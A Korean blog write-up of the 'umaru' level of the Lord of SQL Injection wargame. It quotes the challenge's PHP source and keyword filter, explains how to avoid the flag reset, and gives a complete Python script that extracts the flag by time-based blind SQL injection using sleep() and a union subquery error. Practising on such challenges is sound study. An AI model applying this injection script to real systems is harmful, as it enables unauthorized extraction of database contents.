소스코드 분석
function reset_flag(){
$new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
$chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
echo "reset ok";
highlight_file(__FILE__);
exit();
}
flag를 reset시키는 기능이다. hash값을 잘라서 $new_flag에 저장시킨다.
$_SESSION[los_id]가 맞지않을때 새로운 $new_flag를 저장시킨다. 맞는 경우엔 새로운 $new_flag로 갱신시킨다.
if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
if(strlen($_GET[flag])>100) exit("HeHe");
id, where, order, limit, , 를 필터링 시키고 flag의 길이는 100을 못넘긴다.
@mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
@mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");
prob_umaru_temp라는 새로운 테이블에 flag로 넘긴 값을 갱신시킨다.
prob_umaru에 들어간 flag는 $realflag
prob_umaru_temp에 들어간 flag는 $tempflag
if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();
if($realflag[flag] === $_GET[flag]) solve("umaru");
맞춰야하는 flag는 $realflag
내가 입력하는 flag는 tempflag가 된다.
그리고 이 두개가 맞지않을 경우
reset_flag 기능으로 가서 새로운 new_flag로 갱신된다.
이게 결국 다시 $realflag가 된다.
여기서 해야될것은 update문 우회(값을 바꿔가면서 넣을 때 realflag가 계속 바뀌면 안되기 때문)를 하고
sleep함수를 사용(Time-Based Blind SQL Injection)하여 문제를 풀면된다.
import http.client
import time
result=''
leng=0
header={'Cookie':'PHPSESSID=heinmak3jrglkg9s6fkbde26c2'}
string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"
time2=1
for i in range(1,100) :
start = time.time()
length='/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep(length(flag)%20=%20'+str(i)+')%20^%20(select%201%20union%20select%202)'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',length,'',header)
data=conn.getresponse().read()
end = time.time()
time1 = end - start
if time1 > time2:
leng = i
print ("pw length: "+str(i))
break
for i in range(1,leng+1):
for j in range(0,50):
start = time.time()
substr = '/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep(flag%20like%20%27'+result+string[j]+'%%27)%20^%20(select%201%20union%20select%202)'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
end = time.time()
time1 = end - start
if time1 > time2:
result=result+string[j]
print ('flag like '+result+'%')
break
print ('Password is '+result)
substr = '/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag='+result
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
print (data)
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] evil_wizard (0) | 2017.06.02 |
---|---|
[Lord of SQL injection] hell_fire (0) | 2017.06.02 |
[Lord of SQL injection] dark_eyes (0) | 2017.06.02 |
[Lord of SQL injection] iron_golem (0) | 2017.06.02 |
[Lord of SQL injection] dragon (0) | 2017.06.01 |